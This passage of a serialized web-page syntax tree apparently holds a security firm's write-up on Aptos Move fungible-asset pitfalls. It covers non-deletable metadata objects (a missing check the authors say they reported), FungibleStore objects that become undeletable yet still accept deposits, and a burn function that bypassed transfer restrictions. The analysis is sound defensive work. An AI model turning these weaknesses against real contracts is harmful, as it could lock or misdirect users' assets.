error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[66850],{"type":25,"tag":82,"props":66851,"children":66852},{"__ignoreMap":7},[66853],{"type":25,"tag":216,"props":66854,"children":66855},{"class":6916,"line":6917},[66856,66860,66864,66868,66873,66877,66882,66886,66891,66896,66900,66904],{"type":25,"tag":216,"props":66857,"children":66858},{"style":7041},[66859],{"type":31,"value":45943},{"type":25,"tag":216,"props":66861,"children":66862},{"style":6958},[66863],{"type":31,"value":1844},{"type":25,"tag":216,"props":66865,"children":66866},{"style":6947},[66867],{"type":31,"value":24575},{"type":25,"tag":216,"props":66869,"children":66870},{"style":6958},[66871],{"type":31,"value":66872},"object",{"type":25,"tag":216,"props":66874,"children":66875},{"style":6947},[66876],{"type":31,"value":7432},{"type":25,"tag":216,"props":66878,"children":66879},{"style":7041},[66880],{"type":31,"value":66881},"can_generate_delete_ref",{"type":25,"tag":216,"props":66883,"children":66884},{"style":6958},[66885],{"type":31,"value":1844},{"type":25,"tag":216,"props":66887,"children":66888},{"style":6941},[66889],{"type":31,"value":66890},"constructor_ref",{"type":25,"tag":216,"props":66892,"children":66893},{"style":6958},[66894],{"type":31,"value":66895},"), error",{"type":25,"tag":216,"props":66897,"children":66898},{"style":6947},[66899],{"type":31,"value":7432},{"type":25,"tag":216,"props":66901,"children":66902},{"style":7041},[66903],{"type":31,"value":66336},{"type":25,"tag":216,"props":66905,"children":66906},{"style":6958},[66907],{"type":31,"value":66908},"(EOBJECT_IS_DELETABLE));\n",{"type":25,"tag":38,"props":66910,"children":66911},{},[66912,66914,66919,66921,66926,66927,66934],{"type":31,"value":66913},"This object serves as the foundation for ownership tokens in the form of a ",{"type":25,"tag":82,"props":66915,"children":66917},{"className":66916},[],[66918],{"type":31,"value":65473},{"type":31,"value":66920},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":25,"tag":82,"props":66922,"children":66924},{"className":66923},[],[66925],{"type":31,"value":66844},{"type":31,"value":10403},{"type":25,"tag":162,"props":66928,"children":66931},{"href":66929,"rel":66930},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[166],[66932],{"type":31,"value":66933},"lacked this assert",{"type":31,"value":66935},", which we discovered and reported.",{"type":25,"tag":38,"props":66937,"children":66938},{},[66939,66944,66946,66951,66953,66958],{"type":25,"tag":82,"props":66940,"children":66942},{"className":66941},[],[66943],{"type":31,"value":66844},{"type":31,"value":66945}," transfers the ",{"type":25,"tag":82,"props":66947,"children":66949},{"className":66948},[],[66950],{"type":31,"value":65532},{"type":31,"value":66952}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":25,"tag":82,"props":66954,"children":66956},{"className":66955},[],[66957],{"type":31,"value":65473},{"type":31,"value":66959}," can be minted, representing a share of ownership in that object.",{"type":25,"tag":206,"props":66961,"children":66963},{"className":6909,"code":66962,"language":6908,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[66964],{"type":25,"tag":82,"props":66965,"children":66966},{"__ignoreMap":7},[66967,66975,66995,67010,67037,67052,67073,67085,67097,67109,67121,67133,67145,67152,67159,67174],{"type":25,"tag":216,"props":66968,"children":66969},{"class":6916,"line":6917},[66970],{"type":25,"tag":216,"props":66971,"children":66972},{"style":6921},[66973],{"type":31,"value":66974},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":25,"tag":216,"props":66976,"children":66977},{"class":6916,"line":6763},[66978,66982,66986,66991],{"type":25,"tag":216,"props":66979,"children":66980},{"style":6941},[66981],{"type":31,"value":65637},{"type":25,"tag":216,"props":66983,"children":66984},{"style":6941},[66985],{"type":31,"value":10152},{"type":25,"tag":216,"props":66987,"children":66988},{"style":7041},[66989],{"type":31,"value":66990}," add_fungibility",{"type":25,"tag":216,"props":66992,"children":66993},{"style":6958},[66994],{"type":31,"value":7414},{"type":25,"tag":216,"props":66996,"children":66997},{"class":6916,"line":6772},[66998,67002,67006],{"type":25,"tag":216,"props":66999,"children":67000},{"style":6958},[67001],{"type":31,"value":66680},{"type":25,"tag":216,"props":67003,"children":67004},{"style":6947},[67005],{"type":31,"value":13541},{"type":25,"tag":216,"props":67007,"children":67008},{"style":6958},[67009],{"type":31,"value":15722},{"type":25,"tag":216,"props":67011,"children":67012},{"class":6916,"line":6999},[67013,67017,67021,67025,67029,67033],{"type":25,"tag":216,"props":67014,"children":67015},{"style":6958},[67016],{"type":31,"value":1882},{"type":25,"tag":216,"props":67018,"children":67019},{"style":6947},[67020],{"type":31,"value":1466},{"type":25,"tag":216,"props":67022,"children":67023},{"style":7369},[67024],{"type":31,"value":65523},{"type":25,"tag":216,"props":67026,"children":67027},{"style":6958},[67028],{"type":31,"value":9751},{"type":25,"tag":216,"props":67030,"children":67031},{"style":7369},[67032],{"type":31,"value":65532},{"type":25,"tag":216,"props":67034,"children":67035},{"style":6958},[67036],{"type":31,"value":11227},{"type":25,"tag":216,"props":67038,"children":67039},{"class":6916,"line":7104},[67040,67044,67048],{"type":25,"tag":216,"props":67041,"children":67042},{"style":6958},[67043],{"type":31,"value":66680},{"type":25,"tag":216,"props":67045,"children":67046},{"style":6947},[67047],{"type":31,"value":13541},{"type":25,"tag":216,"props":67049,"children":67050},{"style":6958},[67051],{"type":31,"value":15722},{"type":25,"tag":216,"props":67053,"children":67054},{"class":6916,"line":7210},[67055,67060,67064,67069],{"type":25,"tag":216,"props":67056,"children":67057},{"style":7041},[67058],{"type":31,"value":67059},"    move_to",{"type":25,"tag":216,"props":67061,"children":67062},{"style":6958},[67063],{"type":31,"value":1844},{"type":25,"tag":216,"props":67065,"children":67066},{"style":6941},[67067],{"type":31,"value":67068},"metadata_object_signer",{"type":25,"tag":216,"props":67070,"children":67071},{"style":6958},[67072],{"type":31,"value":7459},{"type":25,"tag":216,"props":67074,"children":67075},{"class":6916,"line":7238},[67076,67081],{"type":25,"tag":216,"props":67077,"children":67078},{"style":7369},[67079],{"type":31,"value":67080},"        Metadata",{"type":25,"tag":216,"props":67082,"children":67083},{"style":6958},[67084],{"type":31,"value":7235},{"type":25,"tag":216,"props":67086,"children":67087},{"class":6916,"line":7251},[67088,67093],{"type":25,"tag":216,"props":67089,"children":67090},{"style":6941},[67091],{"type":31,"value":67092},"            name",{"type":25,"tag":216,"props":67094,"children":67095},{"style":6958},[67096],{"type":31,"value":7459},{"type":25,"tag":216,"props":67098,"children":67099},{"class":6916,"line":7269},[67100,67105],{"type":25,"tag":216,"props":67101,"children":67102},{"style":6941},[67103],{"type":31,"value":67104},"            symbol",{"type":25,"tag":216,"props":67106,"children":67107},{"style":6958},[67108],{"type":31,"value":7459},{"type":25,"tag":216,"props":67110,"children":67111},{"class":6916,"line":7290},[67112,67117],{"type":25,"tag":216,"props":67113,"children":67114},{"style":6941},[67115],{"type":31,"value":67116},"            decimals",{"type":25,"tag":216,"props":67118,"children":67119},{"style":6958},[67120],{"type":31,"value":7459},{"type":25,"tag":216,"props":67122,"children":67123},{"class":6916,"line":7299},[67124,67129],{"type":25,"tag":216,"props":67125,"children":67126},{"style":6941},[67127],{"type":31,"value":67128},"            icon_uri",{"type":25,"tag":216,"props":67130,"children":67131},{"style":6958},[67132],{"type":31,"value":7459},{"type":25,"tag":216,"props":67134,"children":67135},{"class":6916,"line":7551},[67136,67141],{"type":25,"tag":216,"props":67137,"children":67138},{"style":6941},[67139],{"type":31,"value":67140},"            project_uri",{"type":25,"tag":216,"props":67142,"children":67143},{"style":6958},[67144],{"type":31,"value":7459},{"type":25,"tag":216,"props":67146,"children":67147},{"class":6916,"line":7568},[67148],{"type":25,"tag":216,"props":67149,"children":67150},{"style":6958},[67151],{"type":31,"value":7296},{"type":25,"tag":216,"props":67153,"children":67154},{"class":6916,"line":7585},[67155],{"type":25,"tag":216,"props":67156,"children":67157},{"style":6958},[67158],{"type":31,"value":47617},{"type":25,"tag":216,"props":67160,"children":67161},{"class":6916,"line":7598},[67162,67166,67170],{"type":25,"tag":216,"props":67163,"children":67164},{"style":6958},[67165],{"type":31,"value":7695},{"type":25,"tag":216,"props":67167,"children":67168},{"style":6947},[67169],{"type":31,"value":13541},{"type":25,"tag":216,"props":67171,"children":67172},{"style":6958},[67173],{"type":31,"value":15722},{"type":25,"tag":216,"props":67175,"children":67176},{"class":6916,"line":7607},[67177],{"type":25,"tag":216,"props":67178,"children":67179},{"style":6958},[67180],{"type":31,"value":7868},{"type":25,"tag":22747,"props":67182,"children":67183},{},[],{"type":25,"tag":38,"props":67185,"children":67186},{},[67187,67189,67194,67196,67201],{"type":31,"value":67188},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":25,"tag":82,"props":67190,"children":67192},{"className":67191},[],[67193],{"type":31,"value":66038},{"type":31,"value":67195}," is also an object, and a \"secondary\" ",{"type":25,"tag":82,"props":67197,"children":67199},{"className":67198},[],[67200],{"type":31,"value":66038},{"type":31,"value":67202}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":25,"tag":206,"props":67204,"children":67206},{"className":6909,"code":67205,"language":6908,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[67207],{"type":25,"tag":82,"props":67208,"children":67209},{"__ignoreMap":7},[67210,67218,67260,67267,67275],{"type":25,"tag":216,"props":67211,"children":67212},{"class":6916,"line":6917},[67213],{"type":25,"tag":216,"props":67214,"children":67215},{"style":6921},[67216],{"type":31,"value":67217},"//Fungible asset\n",{"type":25,"tag":216,"props":67219,"children":67220},{"class":6916,"line":6763},[67221,67225,67229,67234,67238,67243,67247,67251,67256],{"type":25,"tag":216,"props":67222,"children":67223},{"style":6941},[67224],{"type":31,"value":65637},{"type":25,"tag":216,"props":67226,"children":67227},{"style":6941},[67228],{"type":31,"value":10152},{"type":25,"tag":216,"props":67230,"children":67231},{"style":7041},[67232],{"type":31,"value":67233}," remove_store",{"type":25,"tag":216,"props":67235,"children":67236},{"style":6958},[67237],{"type":31,"value":1844},{"type":25,"tag":216,"props":67239,"children":67240},{"style":6941},[67241],{"type":31,"value":67242},"delete_ref",{"type":25,"tag":216,"props":67244,"children":67245},{"style":6947},[67246],{"type":31,"value":1466},{"type":25,"tag":216,"props":67248,"children":67249},{"style":6947},[67250],{"type":31,"value":11087},{"type":25,"tag":216,"props":67252,"children":67253},{"style":7369},[67254],{"type":31,"value":67255},"DeleteRef",{"type":25,"tag":216,"props":67257,"children":67258},{"style":6958},[67259],{"type":31,"value":7101},{"type":25,"tag":216,"props":67261,"children":67262},{"class":6916,"line":6772},[67263],{"type":25,"tag":216,"props":67264,"children":67265},{"emptyLinePlaceholder":16},[67266],{"type":31,"value":7636},{"type":25,"tag":216,"props":67268,"children":67269},{"class":6916,"line":6999},[67270],{"type":25,"tag":216,"props":67271,"children":67272},{"style":6921},[67273],{"type":31,"value":67274},"//Object\n",{"type":25,"tag":216,"props":67276,"children":67277},{"class":6916,"line":7104},[67278,67282,67286,67291,67295,67300,67304,67309],{"type":25,"tag":216,"props":67279,"children":67280},{"style":6941},[67281],{"type":31,"value":65637},{"type":25,"tag":216,"props":67283,"children":67284},{"style":6941},[67285],{"type":31,"value":10152},{"type":25,"tag":216,"props":67287,"children":67288},{"style":7041},[67289],{"type":31,"value":67290}," delete",{"type":25,"tag":216,"props":67292,"children":67293},{"style":6958},[67294],{"type":31,"value":1844},{"type":25,"tag":216,"props":67296,"children":67297},{"style":6930},[67298],{"type":31,"value":67299},"ref",{"type":25,"tag":216,"props":67301,"children":67302},{"style":6947},[67303],{"type":31,"value":1466},{"type":25,"tag":216,"props":67305,"children":67306},{"style":7369},[67307],{"type":31,"value":67308}," DeleteRef",{"type":25,"tag":216,"props":67310,"children":67311},{"style":6958},[67312],{"type":31,"value":7101},{"type":25,"tag":38,"props":67314,"children":67315},{},[67316,67318,67324,67326,67331,67333,67338,67340,67345,67347,67353,67355,67361,67363,67368],{"type":31,"value":67317},"When ",{"type":25,"tag":82,"props":67319,"children":67321},{"className":67320},[],[67322],{"type":31,"value":67323},"object::delete",{"type":31,"value":67325}," removes the ",{"type":25,"tag":82,"props":67327,"children":67329},{"className":67328},[],[67330],{"type":31,"value":52814},{"type":31,"value":67332}," from a ",{"type":25,"tag":82,"props":67334,"children":67336},{"className":67335},[],[67337],{"type":31,"value":66038},{"type":31,"value":67339}," object, the ",{"type":25,"tag":82,"props":67341,"children":67343},{"className":67342},[],[67344],{"type":31,"value":66038},{"type":31,"value":67346}," resource becomes permanently undeletable. This is because ",{"type":25,"tag":82,"props":67348,"children":67350},{"className":67349},[],[67351],{"type":31,"value":67352},"remove_store",{"type":31,"value":67354}," can't create an ",{"type":25,"tag":82,"props":67356,"children":67358},{"className":67357},[],[67359],{"type":31,"value":67360},"Object\u003CFungibleStore>",{"type":31,"value":67362}," without an ",{"type":25,"tag":82,"props":67364,"children":67366},{"className":67365},[],[67367],{"type":31,"value":52814},{"type":31,"value":67369}," underneath, causing the operation to fail.",{"type":25,"tag":206,"props":67371,"children":67373},{"className":6909,"code":67372,"language":6908,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[67374],{"type":25,"tag":82,"props":67375,"children":67376},{"__ignoreMap":7},[67377,67432,67484,67499],{"type":25,"tag":216,"props":67378,"children":67379},{"class":6916,"line":6917},[67380,67384,67388,67392,67396,67400,67404,67408,67412,67416,67420,67424,67428],{"type":25,"tag":216,"props":67381,"children":67382},{"style":6941},[67383],{"type":31,"value":65637},{"type":25,"tag":216,"props":67385,"children":67386},{"style":6941},[67387],{"type":31,"value":10152},{"type":25,"tag":216,"props":67389,"children":67390},{"style":7041},[67391],{"type":31,"value":67233},{"type":25,"tag":216,"props":67393,"children":67394},{"style":6958},[67395],{"type":31,"value":1844},{"type":25,"tag":216,"props":67397,"children":67398},{"style":6941},[67399],{"type":31,"value":67242},{"type":25,"tag":216,"props":67401,"children":67402},{"style":6947},[67403],{"type":31,"value":1466},{"type":25,"tag":216,"props":67405,"children":67406},{"style":6947},[67407],{"type":31,"value":11087},{"type":25,"tag":216,"props":67409,"children":67410},{"style":7369},[67411],{"type":31,"value":67255},{"type":25,"tag":216,"props":67413,"children":67414},{"style":6958},[67415],{"type":31,"value":7030},{"type":25,"tag":216,"props":67417,"children":67418},{"style":6941},[67419],{"type":31,"value":10289},{"type":25,"tag":216,"props":67421,"children":67422},{"style":6958},[67423],{"type":31,"value":26972},{"type":25,"tag":216,"props":67425,"children":67426},{"style":6947},[67427],{"type":31,"value":13541},{"type":25,"tag":216,"props":67429,"children":67430},{"style":6958},[67431],{"type":31,"value":65728},{"type":25,"tag":216,"props":67433,"children":67434},{"class":6916,"line":6763},[67435,67439,67443,67447,67451,67455,67459,67464,67468,67472,67476,67480],{"type":25,"tag":216,"props":67436,"children":67437},{"style":6930},[67438],{"type":31,"value":6933},{"type":25,"tag":216,"props":67440,"children":67441},{"style":6941},[67442],{"type":31,"value":9776},{"type":25,"tag":216,"props":67444,"children":67445},{"style":6947},[67446],{"type":31,"value":6950},{"type":25,"tag":216,"props":67448,"children":67449},{"style":6947},[67450],{"type":31,"value":11087},{"type":25,"tag":216,"props":67452,"children":67453},{"style":6958},[67454],{"type":31,"value":66872},{"type":25,"tag":216,"props":67456,"children":67457},{"style":6947},[67458],{"type":31,"value":7432},{"type":25,"tag":216,"props":67460,"children":67461},{"style":6941},[67462],{"type":31,"value":67463},"object_from_delete_ref",{"type":25,"tag":216,"props":67465,"children":67466},{"style":6958},[67467],{"type":31,"value":9751},{"type":25,"tag":216,"props":67469,"children":67470},{"style":7369},[67471],{"type":31,"value":66038},{"type":25,"tag":216,"props":67473,"children":67474},{"style":6958},[67475],{"type":31,"value":11556},{"type":25,"tag":216,"props":67477,"children":67478},{"style":6941},[67479],{"type":31,"value":67242},{"type":25,"tag":216,"props":67481,"children":67482},{"style":6958},[67483],{"type":31,"value":7791},{"type":25,"tag":216,"props":67485,"children":67486},{"class":6916,"line":6772},[67487,67491,67495],{"type":25,"tag":216,"props":67488,"children":67489},{"style":6958},[67490],{"type":31,"value":66680},{"type":25,"tag":216,"props":67492,"children":67493},{"style":6947},[67494],{"type":31,"value":13541},{"type":25,"tag":216,"props":67496,"children":67497},{"style":6958},[67498],{"type":31,"value":15722},{"type":25,"tag":216,"props":67500,"children":67501},{"class":6916,"line":6999},[67502],{"type":25,"tag":216,"props":67503,"children":67504},{"style":6958},[67505],{"type":31,"value":7868},{"type":25,"tag":38,"props":67507,"children":67508},{},[67509,67511,67516,67518,67524,67526,67531],{"type":31,"value":67510},"In addition, such \"deleted\" ",{"type":25,"tag":82,"props":67512,"children":67514},{"className":67513},[],[67515],{"type":31,"value":66038},{"type":31,"value":67517}," objects remain at least partially operable. For instance, ",{"type":25,"tag":82,"props":67519,"children":67521},{"className":67520},[],[67522],{"type":31,"value":67523},"fungible_asset::deposit",{"type":31,"value":67525}," does not check the ",{"type":25,"tag":82,"props":67527,"children":67529},{"className":67528},[],[67530],{"type":31,"value":52814},{"type":31,"value":67532}," existence.",{"type":25,"tag":607,"props":67534,"children":67536},{"id":67535},"ownership",[67537],{"type":31,"value":67538},"Ownership",{"type":25,"tag":38,"props":67540,"children":67541},{},[67542,67544,67549,67551,67557,67559,67564],{"type":31,"value":67543},"Each object has an owner. Fungible assets rely on the ",{"type":25,"tag":82,"props":67545,"children":67547},{"className":67546},[],[67548],{"type":31,"value":52814},{"type":31,"value":67550}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":25,"tag":82,"props":67552,"children":67554},{"className":67553},[],[67555],{"type":31,"value":67556},"object::owns",{"type":31,"value":67558}," to confirm ownership of the ",{"type":25,"tag":82,"props":67560,"children":67562},{"className":67561},[],[67563],{"type":31,"value":66038},{"type":31,"value":54139},{"type":25,"tag":206,"props":67566,"children":67568},{"className":6909,"code":67567,"language":6908,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[67569],{"type":25,"tag":82,"props":67570,"children":67571},{"__ignoreMap":7},[67572,67620,67644,67671,67691,67719,67787,67802],{"type":25,"tag":216,"props":67573,"children":67574},{"class":6916,"line":6917},[67575,67579,67583,67587,67591,67595,67600,67604,67608,67612,67616],{"type":25,"tag":216,"props":67576,"children":67577},{"style":7041},[67578],{"type":31,"value":65637},{"type":25,"tag":216,"props":67580,"children":67581},{"style":6958},[67582],{"type":31,"value":1844},{"type":25,"tag":216,"props":67584,"children":67585},{"style":6941},[67586],{"type":31,"value":11044},{"type":25,"tag":216,"props":67588,"children":67589},{"style":6958},[67590],{"type":31,"value":7030},{"type":25,"tag":216,"props":67592,"children":67593},{"style":6941},[67594],{"type":31,"value":11053},{"type":25,"tag":216,"props":67596,"children":67597},{"style":6941},[67598],{"type":31,"value":67599}," withdraw_sanity_check",{"type":25,"tag":216,"props":67601,"children":67602},{"style":6958},[67603],{"type":31,"value":9751},{"type":25,"tag":216,"props":67605,"children":67606},{"style":7369},[67607],{"type":31,"value":177},{"type":25,"tag":216,"props":67609,"children":67610},{"style":6947},[67611],{"type":31,"value":1466},{"type":25,"tag":216,"props":67613,"children":67614},{"style":6941},[67615],{"type":31,"value":9877},{"type":25,"tag":216,"props":67617,"children":67618},{"style":6958},[67619],{"type":31,"value":10534},{"type":25,"tag":216,"props":67621,"children":67622},{"class":6916,"line":6763},[67623,67628,67632,67636,67640],{"type":25,"tag":216,"props":67624,"children":67625},{"style":6941},[67626],{"type":31,"value":67627},"    owner",{"type":25,"tag":216,"props":67629,"children":67630},{"style":6947},[67631],{"type":31,"value":1466},{"type":25,"tag":216,"props":67633,"children":67634},{"style":6947},[67635],{"type":31,"value":11087},{"type":25,"tag":216,"props":67637,"children":67638},{"style":6941},[67639],{"type":31,"value":11092},{"type":25,"tag":216,"props":67641,"children":67642},{"style":6958},[67643],{"type":31,"value":7459},{"type":25,"tag":216,"props":67645,"children":67646},{"class":6916,"line":6772},[67647,67651,67655,67659,67663,67667],{"type":25,"tag":216,"props":67648,"children":67649},{"style":6941},[67650],{"type":31,"value":33368},{"type":25,"tag":216,"props":67652,"children":67653},{"style":6947},[67654],{"type":31,"value":1466},{"type":25,"tag":216,"props":67656,"children":67657},{"style":7369},[67658],{"type":31,"value":65523},{"type":25,"tag":216,"props":67660,"children":67661},{"style":6958},[67662],{"type":31,"value":9751},{"type":25,"tag":216,"props":67664,"children":67665},{"style":7369},[67666],{"type":31,"value":177},{"type":25,"tag":216,"props":67668,"children":67669},{"style":6958},[67670],{"type":31,"value":10083},{"type":25,"tag":216,"props":67672,"children":67673},{"class":6916,"line":6999},[67674,67679,67683,67687],{"type":25,"tag":216,"props":67675,"children":67676},{"style":6941},[67677],{"type":31,"value":67678},"    abort_on_dispatch",{"type":25,"tag":216,"props":67680,"children":67681},{"style":6947},[67682],{"type":31,"value":1466},{"type":25,"tag":216,"props":67684,"children":67685},{"style":7369},[67686],{"type":31,"value":16000},{"type":25,"tag":216,"props":67688,"children":67689},{"style":6958},[67690],{"type":31,"value":7459},{"type":25,"tag":216,"props":67692,"children":67693},{"class":6916,"line":7104},[67694,67698,67702,67706,67710,67715],{"type":25,"tag":216,"props":67695,"children":67696},{"style":6958},[67697],{"type":31,"value":7030},{"type":25,"tag":216,"props":67699,"children":67700},{"style":6941},[67701],{"type":31,"value":10289},{"type":25,"tag":216,"props":67703,"children":67704},{"style":7369},[67705],{"type":31,"value":66058},{"type":25,"tag":216,"props":67707,"children":67708},{"style":6958},[67709],{"type":31,"value":7020},{"type":25,"tag":216,"props":67711,"children":67712},{"style":7369},[67713],{"type":31,"value":67714},"DispatchFunctionStore",{"type":25,"tag":216,"props":67716,"children":67717},{"style":6958},[67718],{"type":31,"value":7235},{"type":25,"tag":216,"props":67720,"children":67721},{"class":6916,"line":7210},[67722,67726,67731,67735,67740,67744,67748,67752,67756,67760,67764,67768,67773,67777,67782],{"type":25,"tag":216,"props":67723,"children":67724},{"style":7041},[67725],{"type":31,"value":66306},{"type":25,"tag":216,"props":67727,"children":67728},{"style":6958},[67729],{"type":31,"value":67730},"(object",{"type":25,"tag":216,"props":67732,"children":67733},{"style":6947},[67734],{"type":31,"value":7432},{"type":25,"tag":216,"props":67736,"children":67737},{"style":7041},[67738],{"type":31,"value":67739},"owns",{"type":25,"tag":216,"props":67741,"children":67742},{"style":6958},[67743],{"type":31,"value":1844},{"type":25,"tag":216,"props":67745,"children":67746},{"style":6941},[67747],{"type":31,"value":9886},{"type":25,"tag":216,"props":67749,"children":67750},{"style":6958},[67751],{"type":31,"value":16886},{"type":25,"tag":216,"props":67753,"children":67754},{"style":6947},[67755],{"type":31,"value":7432},{"type":25,"tag":216,"props":67757,"children":67758},{"style":7041},[67759],{"type":31,"value":11155},{"type":25,"tag":216,"props":67761,"children":67762},{"style":6958},[67763],{"type":31,"value":1844},{"type":25,"tag":216,"props":67765,"children":67766},{"style":6941},[67767],{"type":31,"value":19561},{"type":25,"tag":216,"props":67769,"children":67770},{"style":6958},[67771],{"type":31,"value":67772},")), error",{"type":25,"tag":216,"props":67774,"children":67775},{"style":6947},[67776],{"type":31,"value":7432},{"type":25,"tag":216,"props":67778,"children":67779},{"style":7041},[67780],{"type":31,"value":67781},"permission_denied",{"type":25,"tag":216,"props":67783,"children":67784},{"style":6958},[67785],{"type":31,"value":67786},"(ENOT_STORE_OWNER));\n",{"type":25,"tag":216,"props":67788,"children":67789},{"class":6916,"line":7238},[67790,67794,67798],{"type":25,"tag":216,"props":67791,"children":67792},{"style":6958},[67793],{"type":31,"value":66680},{"type":25,"tag":216,"props":67795,"children":67796},{"style":6947},[67797],{"type":31,"value":13541},{"type":25,"tag":216,"props":67799,"children":67800},{"style":6958},[67801],{"type":31,"value":15722},{"type":25,"tag":216,"props":67803,"children":67804},{"class":6916,"line":7251},[67805],{"type":25,"tag":216,"props":67806,"children":67807},{"style":6958},[67808],{"type":31,"value":7868},{"type":25,"tag":38,"props":67810,"children":67811},{},[67812,67814,67819,67821,67827,67829,67835],{"type":31,"value":67813},"The thing to note is that defining ownership with ",{"type":25,"tag":82,"props":67815,"children":67817},{"className":67816},[],[67818],{"type":31,"value":67556},{"type":31,"value":67820}," can be tricky. The ",{"type":25,"tag":82,"props":67822,"children":67824},{"className":67823},[],[67825],{"type":31,"value":67826},"burn",{"type":31,"value":67828}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":25,"tag":82,"props":67830,"children":67832},{"className":67831},[],[67833],{"type":31,"value":67834},"BURN_ADDRESS",{"type":31,"value":67836}," while bypassing transfer restrictions:",{"type":25,"tag":206,"props":67838,"children":67840},{"className":6909,"code":67839,"language":6908,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[67841],{"type":25,"tag":82,"props":67842,"children":67843},{"__ignoreMap":7},[67844,67941,67982,68032,68061,68111,68132],{"type":25,"tag":216,"props":67845,"children":67846},{"class":6916,"line":6917},[67847,67851,67855,67859,67864,67868,67872,67876,67880,67884,67888,67892,67896,67900,67904,67908,67912,67916,67920,67924,67928,67932,67937],{"type":25,"tag":216,"props":67848,"children":67849},{"style":6941},[67850],{"type":31,"value":65637},{"type":25,"tag":216,"props":67852,"children":67853},{"style":6941},[67854],{"type":31,"value":66604},{"type":25,"tag":216,"props":67856,"children":67857},{"style":6941},[67858],{"type":31,"value":10152},{"type":25,"tag":216,"props":67860,"children":67861},{"style":6941},[67862],{"type":31,"value":67863}," burn",{"type":25,"tag":216,"props":67865,"children":67866},{"style":6958},[67867],{"type":31,"value":9751},{"type":25,"tag":216,"props":67869,"children":67870},{"style":7369},[67871],{"type":31,"value":177},{"type":25,"tag":216,"props":67873,"children":67874},{"style":6947},[67875],{"type":31,"value":1466},{"type":25,"tag":216,"props":67877,"children":67878},{"style":6941},[67879],{"type":31,"value":9877},{"type":25,"tag":216,"props":67881,"children":67882},{"style":6958},[67883],{"type":31,"value":11556},{"type":25,"tag":216,"props":67885,"children":67886},{"style":6941},[67887],{"type":31,"value":19561},{"type":25,"tag":216,"props":67889,"children":67890},{"style":6947},[67891],{"type":31,"value":1466},{"type":25,"tag":216,"props":67893,"children":67894},{"style":6947},[67895],{"type":31,"value":11087},{"type":25,"tag":216,"props":67897,"children":67898},{"style":6941},[67899],{"type":31,"value":11092},{"type":25,"tag":216,"props":67901,"children":67902},{"style":6958},[67903],{"type":31,"value":7020},{"type":25,"tag":216,"props":67905,"children":67906},{"style":6941},[67907],{"type":31,"value":66872},{"type":25,"tag":216,"props":67909,"children":67910},{"style":6947},[67911],{"type":31,"value":1466},{"type":25,"tag":216,"props":67913,"children":67914},{"style":7369},[67915],{"type":31,"value":65523},{"type":25,"tag":216,"props":67917,"children":67918},{"style":6958},[67919],{"type":31,"value":9751},{"type":25,"tag":216,"props":67921,"children":67922},{"style":7369},[67923],{"type":31,"value":177},{"type":25,"tag":216,"props":67925,"children":67926},{"style":6958},[67927],{"type":31,"value":24400},{"type":25,"tag":216,"props":67929,"children":67930},{"style":6941},[67931],{"type":31,"value":10289},{"type":25,"tag":216,"props":67933,"children":67934},{"style":7369},[67935],{"type":31,"value":67936}," ObjectCore",{"type":25,"tag":216,"props":67938,"children":67939},{"style":6958},[67940],{"type":31,"value":7235},{"type":25,"tag":216,"props":67942,"children":67943},{"class":6916,"line":6763},[67944,67948,67953,67957,67962,67966,67970,67974,67978],{"type":25,"tag":216,"props":67945,"children":67946},{"style":6930},[67947],{"type":31,"value":6933},{"type":25,"tag":216,"props":67949,"children":67950},{"style":6941},[67951],{"type":31,"value":67952}," original_owner",{"type":25,"tag":216,"props":67954,"children":67955},{"style":6947},[67956],{"type":31,"value":6950},{"type":25,"tag":216,"props":67958,"children":67959},{"style":6958},[67960],{"type":31,"value":67961}," signer",{"type":25,"tag":216,"props":67963,"children":67964},{"style":6947},[67965],{"type":31,"value":7432},{"type":25,"tag":216,"props":67967,"children":67968},{"style":7041},[67969],{"type":31,"value":11155},{"type":25,"tag":216,"props":67971,"children":67972},{"style":6958},[67973],{"type":31,"value":1844},{"type":25,"tag":216,"props":67975,"children":67976},{"style":6941},[67977],{"type":31,"value":19561},{"type":25,"tag":216,"props":67979,"children":67980},{"style":6958},[67981],{"type":31,"value":7791},{"type":25,"tag":216,"props":67983,"children":67984},{"class":6916,"line":6772},[67985,67989,67993,67998,68002,68006,68010,68015,68019,68023,68027],{"type":25,"tag":216,"props":67986,"children":67987},{"style":7041},[67988],{"type":31,"value":66306},{"type":25,"tag":216,"props":67990,"children":67991},{"style":6958},[67992],{"type":31,"value":1844},{"type":25,"tag":216,"props":67994,"children":67995},{"style":7041},[67996],{"type":31,"value":67997},"is_owner",{"type":25,"tag":216,"props":67999,"children":68000},{"style":6958},[68001],{"type":31,"value":1844},{"type":25,"tag":216,"props":68003,"children":68004},{"style":6941},[68005],